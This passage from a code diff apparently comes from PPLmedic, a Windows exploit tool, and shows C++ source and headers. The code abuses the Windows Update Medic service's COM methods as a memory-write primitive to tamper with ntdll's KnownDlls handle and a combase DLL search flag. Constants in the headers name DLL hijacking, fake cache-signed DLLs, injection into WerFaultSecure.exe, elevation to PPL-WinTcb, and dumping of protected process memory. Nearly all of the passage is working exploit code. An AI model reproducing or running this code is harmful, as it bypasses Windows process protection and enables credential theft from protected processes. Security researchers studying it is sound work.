     163 + this->_ComResult = CoCancelCall(dwThreadId, TIMEOUT);
     164 + SetLastError(ERROR_TIMEOUT);
     165 + goto cleanup;
     166 + }
     167 + 
     168 + bResult = TRUE;
     169 + 
     170 +cleanup:
     171 + Utils::SafeCloseHandle(&hThread);
     172 + 
     173 + if (!bResult)
     174 + ERROR(L"Unexpected error or timeout while trying to create a remote TaskHandler instance.");
     175 + 
     176 + return bResult;
     177 +}
     178 + 
     179 +BOOL WaaSMedicClient::InitializeInterface()
     180 +{
     181 + BOOL bResult = FALSE;
     182 + 
     183 + EXIT_ON_ERROR(FAILED(this->_ComResult = CoCreateInstance(CLSID_WAASREMEDIATION, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&this->_WaaSRemediationEx))));
     184 + bResult = TRUE;
     185 + 
     186 +cleanup:
     187 + DEBUG(L"COM result: 0x%08x | Result: %d", this->_ComResult, bResult);
     188 + 
     189 + return bResult;
     190 +}
     191 + 
     192 +BOOL WaaSMedicClient::ResolveDispatchIds()
     193 +{
     194 + BOOL bResult = FALSE;
     195 + LPWSTR pwszLaunchDetectionOnly, pwszLaunchRemediationOnly;
     196 + 
     197 + pwszLaunchDetectionOnly = const_cast<wchar_t*>(STR_METHOD_LAUNCHDETECTIONONLY);
     198 + pwszLaunchRemediationOnly = const_cast<wchar_t*>(STR_METHOD_LAUNCHREMEDIATIONONLY);
     199 + 
     200 + EXIT_ON_ERROR(FAILED(this->_ComResult = this->_WaaSRemediationEx->GetIDsOfNames(IID_NULL, &pwszLaunchDetectionOnly, 1, 1033, &this->_DispIdLaunchDetectionOnly)));
     201 + EXIT_ON_ERROR(FAILED(this->_ComResult = this->_WaaSRemediationEx->GetIDsOfNames(IID_NULL, &pwszLaunchRemediationOnly, 1, 1033, &this->_DispIdLaunchRemediationOnly)));
     202 + 
     203 + bResult = TRUE;
     204 + 
     205 +cleanup:
     206 + DEBUG(L"LDO ID: 0x%08x | LRO ID: 0x%08x | COM result: 0x%08x | Result: %d", this->_DispIdLaunchDetectionOnly, this->_DispIdLaunchRemediationOnly, this->_ComResult, bResult);
     207 + 
     208 + return bResult;
     209 +}
     210 + 
     211 +BOOL WaaSMedicClient::FindCombaseDllSearchFlagAddress(PULONG_PTR Address)
     212 +{
     213 + BOOL bResult = FALSE;
     214 + HMODULE hCombaseModule = NULL;
     215 + ULONG_PTR pCombaseTextSection = 0, pCombaseDataSection = 0, pCombaseDataSectionLimit, pPatternAddress = 0, pPatternAddress2 = 0;
     216 + DWORD dwCombaseTextSectionSize = 0, dwCombaseDataSectionSize = 0, dwPatternOffset, i;
     217 + BYTE bPattern[] = { 0x01, 0x00, 0x13, 0x00 };
     218 + 
     219 + DWORD dwRipRelativeOffsetForward, dwRipRelativeOffsetBackward;
     220 + ULONG_PTR pCandidateAddressTemp, pCandidateAddressForward = 0, pCandidateAddressBackward = 0;
     221 + 
     222 + *Address = 0;
     223 + 
     224 + EXIT_ON_ERROR((hCombaseModule = LoadLibraryW(STR_MOD_COMBASE)) == NULL);
     225 + EXIT_ON_ERROR(!Utils::FindModuleSection(hCombaseModule, ".text", &pCombaseTextSection, &dwCombaseTextSectionSize));
     226 + EXIT_ON_ERROR(!Utils::FindModuleSection(hCombaseModule, ".data", &pCombaseDataSection, &dwCombaseDataSectionSize));
     227 + EXIT_ON_ERROR(!Utils::FindModulePattern(bPattern, sizeof(bPattern), pCombaseTextSection, dwCombaseTextSectionSize, &pPatternAddress));
     228 + 
     229 + //
     230 + // Ensure that the pattern is unique. We search for the pattern once again starting at offset + 1 until
     231 + // we reach the end of the .text section. If we find another occurrence, we should exit safely.
     232 + //
     233 + 
     234 + dwPatternOffset = (DWORD)(pPatternAddress - (ULONG_PTR)hCombaseModule);
     235 + EXIT_ON_ERROR(Utils::FindModulePattern(bPattern, sizeof(bPattern), pCombaseTextSection + dwPatternOffset + 1, dwCombaseTextSectionSize - dwPatternOffset - 1, &pPatternAddress2));
     236 + 
     237 + //
     238 + // Now that we found the offset of our pattern in the code, we can start searching forward and backward for
     239 + // valid RIP-relative offsets. We consider that a RIP-relative offset is 'valid' when the value corresponding
     240 + // to the sum of RIP and this offset falls within the .data section. We do the search both forward and
     241 + // backward and compare the obtained values at the end. If the values are not equal, we should exit safely.
     242 + //
     243 + 
     244 + pCombaseDataSectionLimit = pCombaseDataSection + dwCombaseDataSectionSize;
     245 + 
     246 + for (i = 0; i < 32; i++)
     247 + {
     248 + RtlMoveMemory(&dwRipRelativeOffsetForward, (PVOID)(pPatternAddress + i), sizeof(dwRipRelativeOffsetForward));
     249 + pCandidateAddressTemp = pPatternAddress + i + sizeof(dwRipRelativeOffsetForward) + dwRipRelativeOffsetForward;
     250 + if (pCandidateAddressTemp >= pCombaseDataSection && pCandidateAddressTemp < pCombaseDataSectionLimit)
     251 + {
     252 + pCandidateAddressForward = pCandidateAddressTemp;
     253 + DEBUG(L"Found forward candidate: 0x%016llx", pCandidateAddressForward);
     254 + }
     255 + 
     256 + RtlMoveMemory(&dwRipRelativeOffsetBackward, (PVOID)(pPatternAddress - sizeof(bPattern) - i), sizeof(dwRipRelativeOffsetBackward));
     257 + pCandidateAddressTemp = pPatternAddress - sizeof(bPattern) - i + sizeof(dwRipRelativeOffsetBackward) + dwRipRelativeOffsetBackward;
     258 + if (pCandidateAddressTemp >= pCombaseDataSection && pCandidateAddressTemp < pCombaseDataSectionLimit)
     259 + {
     260 + pCandidateAddressBackward = pCandidateAddressTemp;
     261 + DEBUG(L"Found backward candidate: 0x%016llx", pCandidateAddressBackward);
     262 + }
     263 + }
     264 + 
     265 + EXIT_ON_ERROR(!pCandidateAddressForward || !pCandidateAddressBackward);
     266 + EXIT_ON_ERROR(pCandidateAddressForward != pCandidateAddressBackward);
     267 + 
     268 + *Address = pCandidateAddressForward;
     269 + bResult = TRUE;
     270 + 
     271 +cleanup:
     272 + DEBUG(L"DLL search path flag address: 0x%016llx | Result: %d", *Address, bResult);
     273 + 
     274 + return bResult;
     275 +}
     276 + 
     277 +BOOL WaaSMedicClient::CalculateWriteAddresses()
     278 +{
     279 + //
     280 + // _BaseAddress: address of ntdll!LdrpKnownDllDirectoryHandle
     281 + // _WriteAtLaunchDetectionOnly: address used to write the result of LaunchDetectionOnly
     282 + // _WriteAtLaunchRemediationOnly: address used to write the result of LaunchRemediationOnly
     283 + //
     284 + // First strategy: keep value at index 0
     285 + //
     286 + // After the call to LaunchDetectionOnly
     287 + // 00007fff`971dc028 00 00 00 00 00 00 00 00 <- (LdrpFatalHardErrorCount)
     288 + // 00007fff`971dc030 HH XX XX XX XX XX 00 00 <- LdrpKnownDllDirectoryHandle
     289 + // 00007fff`971dc038 00 00 00 00 00 00 00 00 <- NOT USED
     290 + //
     291 + // After the call to LaunchRemediationOnly (1)
     292 + // 00007fff`971dc028 00 17 00 00 00 00 00 00 <- (LdrpFatalHardErrorCount)
     293 + // 00007fff`971dc030 HH 00 00 00 00 XX 00 00 <- LdrpKnownDllDirectoryHandle
     294 + // 00007fff`971dc038 00 00 00 00 00 00 00 00 <- NOT USED
     295 + //
     296 + // After the call to LaunchRemediationOnly (2)
     297 + // 00007fff`971dc028 00 17 17 00 00 00 00 00 <- (LdrpFatalHardErrorCount)
     298 + // 00007fff`971dc030 HH 00 00 00 00 00 00 00 <- LdrpKnownDllDirectoryHandle
     299 + // 00007fff`971dc038 00 00 00 00 00 00 00 00 <- NOT USED
     300 + //
     301 + // Second strategy: keep value at index 1
     302 + //
     303 + // After the call to LaunchDetectionOnly
     304 + // 00007fff`971dc028 00 00 00 00 00 00 00 XX <- (LdrpFatalHardErrorCount)
     305 + // 00007fff`971dc030 HH XX XX XX XX 00 00 00 <- LdrpKnownDllDirectoryHandle
     306 + // 00007fff`971dc038 00 00 00 00 00 00 00 00 <- NOT USED
     307 + //
     308 + // After the call to LaunchRemediationOnly
     309 + // 00007fff`971dc028 00 17 00 00 00 00 00 XX <- (LdrpFatalHardErrorCount)
     310 + // 00007fff`971dc030 HH 00 00 00 00 00 00 00 <- LdrpKnownDllDirectoryHandle
     311 + // 00007fff`971dc038 00 00 00 00 00 00 00 00 <- NOT USED
     312 + //
     313 + 
     314 + if (_Strategy == ExploitStrategy::ExtractByteAtIndex0)
     315 + {
     316 + this->_WriteAtLaunchDetectionOnly = (DWORD64)this->_BaseAddress; // Write value XX XX XX XX XX XX 00 00 @ ntdll!LdrpKnownDllDirectoryHandle
     317 + this->_WriteAtLaunchRemediationOnly = (DWORD64)this->_BaseAddress - 7; // Write 00 00 00 00 @ LdrpKnownDllDirectoryHandle+1 (+1 again for the second call)
     318 + return TRUE;
     319 + }
     320 + else if (_Strategy == ExploitStrategy::ExtractByteAtIndex1)
     321 + {
     322 + this->_WriteAtLaunchDetectionOnly = (DWORD64)this->_BaseAddress - 1; // Write value XX XX XX XX XX XX 00 00 @ ntdll!LdrpKnownDllDirectoryHandle-1
     323 + this->_WriteAtLaunchRemediationOnly = (DWORD64)this->_BaseAddress - 7; // Write 00 00 00 00 @ LdrpKnownDllDirectoryHandle+1
     324 + return TRUE;
     325 + }
     326 + 
     327 + return FALSE;
     328 +}
     329 + 
     330 +HRESULT WaaSMedicClient::InvokeLaunchDetectionOnly(IWaaSRemediationEx* Interface, DISPID DispId, BSTR CallerApplicationName, ULONG_PTR Result)
     331 +{
     332 + DISPPARAMS Params;
     333 + VARIANT VarResult;
     334 + EXCEPINFO ExcepInfo;
     335 + UINT ArgErr = 0xffffffff;
     336 + VARIANTARG ArgLaunchDetectionOnly[2];
     337 + 
     338 + ZeroMemory(&ArgLaunchDetectionOnly, sizeof(ArgLaunchDetectionOnly));
     339 + ArgLaunchDetectionOnly[0].vt = VT_UI8;
     340 + ArgLaunchDetectionOnly[0].ullVal = Result;
     341 + ArgLaunchDetectionOnly[1].vt = VT_BSTR;
     342 + ArgLaunchDetectionOnly[1].bstrVal = CallerApplicationName;
     343 + 
     344 + ZeroMemory(&Params, sizeof(Params));
     345 + Params.cArgs = sizeof(ArgLaunchDetectionOnly) / sizeof(*ArgLaunchDetectionOnly);
     346 + Params.rgvarg = ArgLaunchDetectionOnly;
     347 + Params.cNamedArgs = 0;
     348 + Params.rgdispidNamedArgs = NULL;
     349 + 
     350 + return Interface->Invoke(DispId, IID_NULL, 1033, DISPATCH_METHOD, &Params, &VarResult, &ExcepInfo, &ArgErr);
     351 +}
     352 + 
     353 +HRESULT WaaSMedicClient::InvokeLaunchRemediationOnly(IWaaSRemediationEx* Interface, DISPID DispId, BSTR Plugins, BSTR CallerApplicationName, ULONG_PTR Result)
     354 +{
     355 + DISPPARAMS Params;
     356 + VARIANT VarResult;
     357 + EXCEPINFO ExcepInfo;
     358 + UINT ArgErr = 0xffffffff;
     359 + VARIANTARG ArgLaunchRemediationOnly[3];
     360 + 
     361 + ZeroMemory(&ArgLaunchRemediationOnly, sizeof(ArgLaunchRemediationOnly));
     362 + ArgLaunchRemediationOnly[0].vt = VT_UI8;
     363 + ArgLaunchRemediationOnly[0].ullVal = Result;
     364 + ArgLaunchRemediationOnly[1].vt = VT_BSTR;
     365 + ArgLaunchRemediationOnly[1].bstrVal = CallerApplicationName;
     366 + ArgLaunchRemediationOnly[2].vt = VT_BSTR;
     367 + ArgLaunchRemediationOnly[2].bstrVal = Plugins;
     368 + 
     369 + ZeroMemory(&Params, sizeof(Params));
     370 + Params.cArgs = sizeof(ArgLaunchRemediationOnly) / sizeof(*ArgLaunchRemediationOnly);
     371 + Params.rgvarg = ArgLaunchRemediationOnly;
     372 + Params.cNamedArgs = 0;
     373 + Params.rgdispidNamedArgs = NULL;
     374 + 
     375 + return Interface->Invoke(DispId, IID_NULL, 1033, DISPATCH_METHOD, &Params, &VarResult, &ExcepInfo, &ArgErr);
     376 +}
     377 + 
     378 +DWORD WINAPI WaaSMedicClient::WriteRemoteDllSearchPathFlagThread(LPVOID Parameter)
     379 +{
     380 + PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM WriteParams = (PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM)Parameter;
     381 + HRESULT hr;
     382 + 
     383 + hr = WaaSMedicClient::InvokeLaunchRemediationOnly
     384 + (
     385 + WriteParams->WaaSRemediationEx,
     386 + WriteParams->DispIdLaunchRemediationOnly,
     387 + WriteParams->Plugins,
     388 + WriteParams->CallerApplicationName,
     389 + WriteParams->WriteAt
     390 + );
     391 + 
     392 + if (FAILED(hr))
     393 + {
     394 + DEBUG(L"LaunchRemediationOnly(0x%llx): 0x%08x", WriteParams->WriteAt, hr);
     395 + return (DWORD)hr;
     396 + }
     397 + 
     398 + return ERROR_SUCCESS;
     399 +}
     400 + 
     401 +DWORD WINAPI WaaSMedicClient::WriteRemoteKnownDllHandleThread(LPVOID Parameter)
     402 +{
     403 + PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM WriteParams = (PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM)Parameter;
     404 + HRESULT hr;
     405 + 
     406 + hr = WaaSMedicClient::InvokeLaunchDetectionOnly
     407 + (
     408 + WriteParams->WaaSRemediationEx,
     409 + WriteParams->DispIdLaunchDetectionOnly,
     410 + WriteParams->CallerApplicationName,
     411 + WriteParams->WriteAtLaunchDetectionOnly
     412 + );
     413 + 
     414 + if (FAILED(hr))
     415 + {
     416 + DEBUG(L"LaunchDetectionOnly(0x%llx): 0x%08x", WriteParams->WriteAtLaunchDetectionOnly, hr);
     417 + return (DWORD)hr;
     418 + }
     419 + 
     420 + hr = WaaSMedicClient::InvokeLaunchRemediationOnly
     421 + (
     422 + WriteParams->WaaSRemediationEx,
     423 + WriteParams->DispIdLaunchRemediationOnly,
     424 + WriteParams->Plugins,
     425 + WriteParams->CallerApplicationName,
     426 + WriteParams->WriteAtLaunchRemediationOnly
     427 + );
     428 +
     429 + if (FAILED(hr))
     430 + {
     431 + DEBUG(L"LaunchRemediationOnly(0x%llx): 0x%08x", WriteParams->WriteAtLaunchRemediationOnly, hr);
     432 + return (DWORD)hr;
     433 + }
     434 + 
     435 + if (WriteParams->Strategy == ExploitStrategy::ExtractByteAtIndex0)
     436 + {
     437 + hr = WaaSMedicClient::InvokeLaunchRemediationOnly
     438 + (
     439 + WriteParams->WaaSRemediationEx,
     440 + WriteParams->DispIdLaunchRemediationOnly,
     441 + WriteParams->Plugins,
     442 + WriteParams->CallerApplicationName,
     443 + WriteParams->WriteAtLaunchRemediationOnly + 1
     444 + );
     445 +
     446 + if (FAILED(hr))
     447 + {
     448 + DEBUG(L"LaunchRemediationOnly(0x%llx): 0x%08x", WriteParams->WriteAtLaunchRemediationOnly, hr);
     449 + return (DWORD)hr;
     450 + }
     451 + }
     452 + 
     453 + return ERROR_SUCCESS;
     454 +}
     455 + 
     456 +DWORD WINAPI WaaSMedicClient::CreateTaskHandlerInstanceThread(LPVOID Parameter)
     457 +{
     458 + ITaskHandler* pTaskHandler = NULL;
     459 + HRESULT hr = S_OK;
     460 + 
     461 + if (SUCCEEDED(hr = CoCreateInstance(CLSID_WAASREMEDIATION, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pTaskHandler))))
     462 + {
     463 + pTaskHandler->Release();
     464 + }
     465 + 
     466 + return (DWORD)hr;
     467 +}
     468 + 
  • ■ ■ ■ ■ ■ ■
    PPLmedic/WaaSMedicClient.h
     1 +#pragma once
     2 + 
     3 +#include <Windows.h>
     4 +#include <comdef.h>
     5 + 
     6 +#define CLSID_WAASREMEDIATION { 0x72566e27, 0x1abb, 0x4eb3, { 0xb4, 0xf0, 0xeb, 0x43, 0x1c, 0xb1, 0xcb, 0x32 } } // WaaSRemediationAgent - 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32
     7 +#define IID_WAASREMEDIATIONEX { 0xb4c1d279, 0x966e, 0x44e9, { 0xa9, 0xc5, 0xcc, 0xaf, 0x4a, 0x77, 0x02, 0x3d } } // IWaaSRemediationEx - B4C1D279-966E-44E9-A9C5-CCAF4A77023D
     8 +#define IID_TASKHANDLER { 0x839d7762, 0x5121, 0x4009, { 0x92, 0x34, 0x4f, 0x0d, 0x19, 0x39, 0x4f, 0x04 } } // ITaskHandler - 839D7762-5121-4009-9234-4F0D19394F04
     9 + 
     10 +class __declspec(uuid("b4c1d279-966e-44e9-a9c5-ccaf4a77023d")) IWaaSRemediationEx : public IDispatch {
     11 +public:
     12 + //virtual HRESULT __stdcall LaunchDetectionOnly(BSTR bstrCallerApplicationName, BSTR* pbstrPlugins) = 0; // Legit version of LaunchDetectionOnly
     13 + virtual HRESULT __stdcall LaunchDetectionOnly(BSTR bstrCallerApplicationName, ULONGLONG pbstrPlugins) = 0; // Modified version of LaunchDetectionOnly
     14 + //virtual HRESULT __stdcall LaunchRemediationOnly(BSTR bstrPlugins, BSTR bstrCallerApplicationName, VARIANT* varResults) = 0; // Legit version of LaunchRemediationOnly
     15 + virtual HRESULT __stdcall LaunchRemediationOnly(BSTR bstrPlugins, BSTR bstrCallerApplicationName, ULONGLONG varResults) = 0; // Modified version of LaunchRemediationOnly
     16 +};
     17 + 
     18 +_COM_SMARTPTR_TYPEDEF(IWaaSRemediationEx, __uuidof(IWaaSRemediationEx));
     19 + 
     20 +class __declspec(uuid("839d7762-5121-4009-9234-4f0d19394f04")) ITaskHandler : public IUnknown {
     21 +public:
     22 + virtual HRESULT __stdcall Start(IUnknown* pHandlerServices, BSTR data) = 0;
     23 + virtual HRESULT __stdcall Stop(HRESULT* pRetCode) = 0;
     24 + virtual HRESULT __stdcall Pause() = 0;
     25 + virtual HRESULT __stdcall Resume() = 0;
     26 +};
     27 + 
     28 +_COM_SMARTPTR_TYPEDEF(ITaskHandler, __uuidof(ITaskHandler));
     29 + 
     30 +enum class ExploitStrategy
     31 +{
     32 + ExtractByteAtIndex0,
     33 + ExtractByteAtIndex1,
     34 + ExtractByteAtIndex2
     35 +};
     36 + 
     37 +typedef struct _WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM
     38 +{
     39 + ExploitStrategy Strategy;
     40 + IWaaSRemediationEx* WaaSRemediationEx;
     41 + ULONG_PTR WriteAtLaunchDetectionOnly;
     42 + ULONG_PTR WriteAtLaunchRemediationOnly;
     43 + DISPID DispIdLaunchDetectionOnly;
     44 + DISPID DispIdLaunchRemediationOnly;
     45 + BSTR CallerApplicationName;
     46 + BSTR Plugins;
     47 +} WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM, * PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM;
     48 + 
     49 +typedef struct _WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM
     50 +{
     51 + IWaaSRemediationEx* WaaSRemediationEx;
     52 + ULONG_PTR WriteAt;
     53 + DISPID DispIdLaunchRemediationOnly;
     54 + BSTR CallerApplicationName;
     55 + BSTR Plugins;
     56 +} WRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM, * PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM;
     57 + 
     58 +class WaaSMedicClient
     59 +{
     60 +private:
     61 + BOOL _ClientReady;
     62 + HRESULT _ComResult;
     63 + ULONG_PTR _BaseAddress;
     64 + ULONG _TargetValue;
     65 + ExploitStrategy _Strategy;
     66 + DWORD _Timeout;
     67 + IWaaSRemediationEx* _WaaSRemediationEx;
     68 + ULONG_PTR _WriteAtLaunchDetectionOnly;
     69 + ULONG_PTR _WriteAtLaunchRemediationOnly;
     70 + DISPID _DispIdLaunchDetectionOnly;
     71 + DISPID _DispIdLaunchRemediationOnly;
     72 + BSTR _Application;
     73 + BSTR _Plugins;
     74 + 
     75 +public:
     76 + WaaSMedicClient();
     77 + WaaSMedicClient(ULONG_PTR BaseAddress, ULONG TargetValue);
     78 + ~WaaSMedicClient();
     79 + BOOL WriteRemoteDllSearchPathFlag();
     80 + BOOL WriteRemoteKnownDllHandle();
     81 + BOOL CreateTaskHandlerInstance();
     82 + 
     83 +private:
     84 + BOOL InitializeInterface();
     85 + BOOL ResolveDispatchIds();
     86 + BOOL FindCombaseDllSearchFlagAddress(PULONG_PTR Address);
     87 + BOOL CalculateWriteAddresses();
     88 + static HRESULT InvokeLaunchDetectionOnly(IWaaSRemediationEx* Interface, DISPID DispId, BSTR CallerApplicationName, ULONG_PTR Result);
     89 + static HRESULT InvokeLaunchRemediationOnly(IWaaSRemediationEx* Interface, DISPID DispId, BSTR Plugins, BSTR CallerApplicationName, ULONG_PTR Result);
     90 + static DWORD WINAPI WriteRemoteDllSearchPathFlagThread(LPVOID Parameter);
     91 + static DWORD WINAPI WriteRemoteKnownDllHandleThread(LPVOID Parameter);
     92 + static DWORD WINAPI CreateTaskHandlerInstanceThread(LPVOID Parameter);
     93 +};
  • ■ ■ ■ ■ ■ ■
    PPLmedic/globaldef.h
     1 +#pragma once
     2 + 
     3 +#include <Windows.h>
     4 + 
     5 +#define LOG_LEVEL_NONE 0
     6 +#define LOG_LEVEL_ERROR 1
     7 +#define LOG_LEVEL_WARNING 2
     8 +#define LOG_LEVEL_INFO 3
     9 +#define LOG_LEVEL_DEBUG 4
     10 + 
     11 +#define LOG_LEVEL LOG_LEVEL_INFO // Log level to use inside the main executable
     12 +#define LOG_LEVEL_DLL LOG_LEVEL_DEBUG // Log level to use inside the DLL (DEBUG or NONE)
     13 + 
     14 +#define VERSION_MAJOR 0 // Major version of the tool
     15 +#define VERSION_MINOR 1 // Minor version of the tool
     16 +#define PAGE_SIZE 0x1000 // Default size for memory allocations
     17 +#define LARGE_BUFFER_SIZE (256 * 1024 * 1024) // Default size for large memory allocations
     18 +#define TIMEOUT 5000 // Default timeout for wait operations
     19 +#define MAX_ATTEMPTS 1000 // Default maximum number of attempts for the memory write exploit
     20 + 
     21 +#define STR_PPLMEDIC_CMD_DUMP L"dump" // Command for dumping a protected process' memory
     22 +#define STR_PPLMEDIC_CMD_RESTORE L"restore" // Command for restoring the registry keys in case of previous crash
     23 +#define STR_PPLMEDIC_OPT_ELEVATE L"-p" // Option for elevating from PPL-Windows to PPL-WinTcb
     24 + 
     25 +#define STR_KNOWNDLLS L"\\KnownDlls" // Path of the \KnownDlls object directory
     26 +#define STR_MOD_NTDLL L"ntdll" // Name of the 'ntdll.dll' module
     27 +#define STR_MOD_COMBASE L"combase" // Name of the 'combase.dll' module
     28 +#define STR_PROC_NTIMPERSONATETHREAD "NtImpersonateThread" // Syscall for impersonating a thread's Token
     29 +#define STR_PROC_NTCREATESECTION "NtCreateSection" // Syscall for creating a Section object
     30 +#define STR_PROC_LDRGETKNOWNDLLSECTIONHANDLE "LdrGetKnownDllSectionHandle" // Name of the global variable (in 'ntdll') that holds the value of the \KnownDlls directory
     31 +#define STR_TI_SVC L"TrustedInstaller" // Name of the TrustedInstaller identity
     32 +#define STR_WAASMEDIC_SVC L"WaaSMedicSvc" // Name of the Windows Update Medic service
     33 +#define STR_WAASMEDIC_CAPSULE L"WaaSMedicCapsule.dll" // Name of the Windows Update Medic service's capsule plugin module
     34 +#define STR_WAASMEDIC_TYPELIB L"WaaSMedicPS.dll" // Name of the Windows Update Medic service's Proxy/Stub module
     35 +#define STR_WAASMEDIC_TYPELIB_DEFAULT L"%SystemRoot%\\system32\\WaaSMedicPS.dll" // Default path of the Windows Update Medic service's Proxy/Stub module
     36 +#define STR_TASKSCHD_TYPELIB_DEFAULT L"TaskSchdPS.dll" // Name of the Task Scheduler's Proxy/Stub module
     37 +#define STR_METHOD_LAUNCHDETECTIONONLY L"LaunchDetectionOnly" // Name of the WaaSRemediationAgent's fist method
     38 +#define STR_METHOD_LAUNCHREMEDIATIONONLY L"LaunchRemediationOnly" // Name of the WaaSRemediationAgent's second method
     39 +#define STR_BASENAMEDOBJECTS L"BaseNamedObjects" // Name of the \BaseNamedObjets object directory
     40 +#define STR_HIJACKED_DLL_NAME L"WaaSMedicPayload.dll" // Name of a non-existent module
     41 +#define STR_IPC_WAASMEDIC_LOAD_EVENT_NAME L"WaaSMedicLoadEvent" // Name of an event used for synchronization between the tool and DLL injected in WaaSMedicSvc
     42 +#define STR_IPC_WERFAULT_LOAD_EVENT_NAME L"WerFaultLoaddEvent" // Name of an event used for synchronization between the tool and DLL injected in WerFaultSecure.exe
     43 +#define STR_IPC_PIPE_NAME L"PPLmedicPipe" // Name of the named pipe used to communicate with processes in which the payload DLL is injected
     44 +#define STR_DUMMY_PIPE_NAME L"WaaSMedicLogonSessionPipe" // Name of the named pipe used to retrieve the initial logon session token of LOCAL SYSTEM
     45 +#define STR_SIGNED_SYSTEM_DLL L"dbghelp.dll" // Name of a legitimate system DLL used to create a fake cached signed DLL
     46 +#define STR_CACHE_SIGNED_DLL_NAME L"faultrep.dll" // Name of a DLL to cache sign and hijack in a protected process
     47 +#define STR_SIGNED_EXE_NAME L"WerFaultSecure.exe" // Name of a signed executable we can start with the protection level WinTcb
     48 + 
     49 +#define STR_PROTECTION_LEVEL_WINTCB_LIGHT L"PsProtectedSignerWinTcb-Light" // PPL WinTcb
     50 +#define STR_PROTECTION_LEVEL_WINDOWS L"PsProtectedSignerWindows" // PP Windows
     51 +#define STR_PROTECTION_LEVEL_WINDOWS_LIGHT L"PsProtectedSignerWindows-Light" // PPL Windows
     52 +#define STR_PROTECTION_LEVEL_ANTIMALWARE_LIGHT L"PsProtectedSignerAntimalware-Light" // PPL Antimalware
     53 +#define STR_PROTECTION_LEVEL_LSA_LIGHT L"PsProtectedSignerLsa-Light" // PPL Lsa
     54 +#define STR_PROTECTION_LEVEL_WINTCB L"PsProtectedSignerWinTcb" // PP WinTcb
     55 +#define STR_PROTECTION_LEVEL_CODEGEN_LIGHT L"PsProtectedSignerCodegen-Light" // PPL Codegen
     56 +#define STR_PROTECTION_LEVEL_AUTHENTICODE L"PsProtectedSignerAuthenticode" // PP Authenticode
     57 +#define STR_PROTECTION_LEVEL_PPL_APP L"PsProtectedSignerApp-Light" // PPL App
     58 +#define STR_PROTECTION_LEVEL_NONE L"None" // None
     59 + 
     60 +#define STR_SE_SIGNING_LEVEL_UNCHECKED L"Unchecked" // 0x00000000
     61 +#define STR_SE_SIGNING_LEVEL_UNSIGNED L"Unsigned" // 0x00000001
     62 +#define STR_SE_SIGNING_LEVEL_ENTERPRISE L"Enterprise" // 0x00000002
     63 +#define STR_SE_SIGNING_LEVEL_DEVELOPER L"Developer" // 0x00000003 (Custom1)
     64 +#define STR_SE_SIGNING_LEVEL_AUTHENTICODE L"Authenticode" // 0x00000004
     65 +#define STR_SE_SIGNING_LEVEL_CUSTOM_2 L"Custom2" // 0x00000005
     66 +#define STR_SE_SIGNING_LEVEL_STORE L"Store" // 0x00000006
     67 +#define STR_SE_SIGNING_LEVEL_ANTIMALWARE L"Antimalware" // 0x00000007 (Custom3)
     68 +#define STR_SE_SIGNING_LEVEL_MICROSOFT L"Microsoft" // 0x00000008
     69 +#define STR_SE_SIGNING_LEVEL_CUSTOM_4 L"Custom4" // 0x00000009
     70 +#define STR_SE_SIGNING_LEVEL_CUSTOM_5 L"Custom5" // 0x0000000A
     71 +#define STR_SE_SIGNING_LEVEL_DYNAMIC_CODEGEN L"DynamicCodegen" // 0x0000000B
     72 +#define STR_SE_SIGNING_LEVEL_WINDOWS L"Windows" // 0x0000000C
     73 +#define STR_SE_SIGNING_LEVEL_CUSTOM_7 L"Custom7" // 0x0000000D
     74 +#define STR_SE_SIGNING_LEVEL_WINDOWS_TCB L"WindowsTcb" // 0x0000000E
     75 +#define STR_SE_SIGNING_LEVEL_CUSTOM_6 L"Custom6" // 0x0000000F
     76 +#define STR_SE_SIGNING_LEVEL_UNKNOWN L"Unknown"
     77 + 
     78 +#define WIDEH(x) L##x
     79 +#define WIDE(x) WIDEH(x)
     80 + 
     81 +#if LOG_LEVEL >= LOG_LEVEL_ERROR
     82 +#define SUCCESS_FORMAT(f) "[+] " f "\r\n"
     83 +#define SUCCESS( format, ... ) wprintf( WIDE(SUCCESS_FORMAT(format)), __VA_ARGS__ )
     84 +#ifdef ERROR
     85 +#undef ERROR
     86 +#endif // ERROR
     87 +#define ERROR_FORMAT(f) "[-] " f "\r\n"
     88 +#define ERROR( format, ... ) wprintf( WIDE(ERROR_FORMAT(format)), __VA_ARGS__ )
     89 +#else
     90 +#define SUCCESS( format, ... )
     91 +#define ERROR( format, ... )
     92 +#endif // LOG_LEVEL
     93 + 
     94 +#if LOG_LEVEL >= LOG_LEVEL_WARNING
     95 +#define WARNING_FORMAT(f) "[!] " f "\r\n"
     96 +#define WARNING( format, ... ) wprintf( WIDE(WARNING_FORMAT(format)), __VA_ARGS__ )
     97 +#else
     98 +#define WARNING( format, ... )
     99 +#endif
     100 + 
     101 +#if LOG_LEVEL >= LOG_LEVEL_INFO
     102 +#define INFO_FORMAT(f) "[*] " f "\r\n"
     103 +#define INFO( format, ... ) wprintf( WIDE(INFO_FORMAT(format)), __VA_ARGS__ )
     104 +#else
     105 +#define INFO( format, ... )
     106 +#endif // LOG_LEVEL
     107 + 
     108 +#ifdef _WINDLL
     109 +#if LOG_LEVEL_DLL >= LOG_LEVEL_DEBUG
     110 +#define DEBUG_FORMAT(f) "[PPLmedic] %ws | " f "\r\n"
     111 +#define DEBUG( format, ... ) PrintDebug( WIDE(DEBUG_FORMAT(format)), WIDE(__FUNCTION__), __VA_ARGS__ )
     112 +#else
     113 +#define DEBUG( format, ... )
     114 +#endif // LOG_LEVEL_DLL
     115 +#else
     116 +#if LOG_LEVEL >= LOG_LEVEL_DEBUG
     117 +#define DEBUG_FORMAT(f) "DEBUG: %ws | " f "\r\n"
     118 +#define DEBUG( format, ... ) wprintf( WIDE(DEBUG_FORMAT(format)), WIDE(__FUNCTION__), __VA_ARGS__ )
     119 +#else
     120 +#define DEBUG( format, ... )
     121 +#endif // LOG_LEVEL
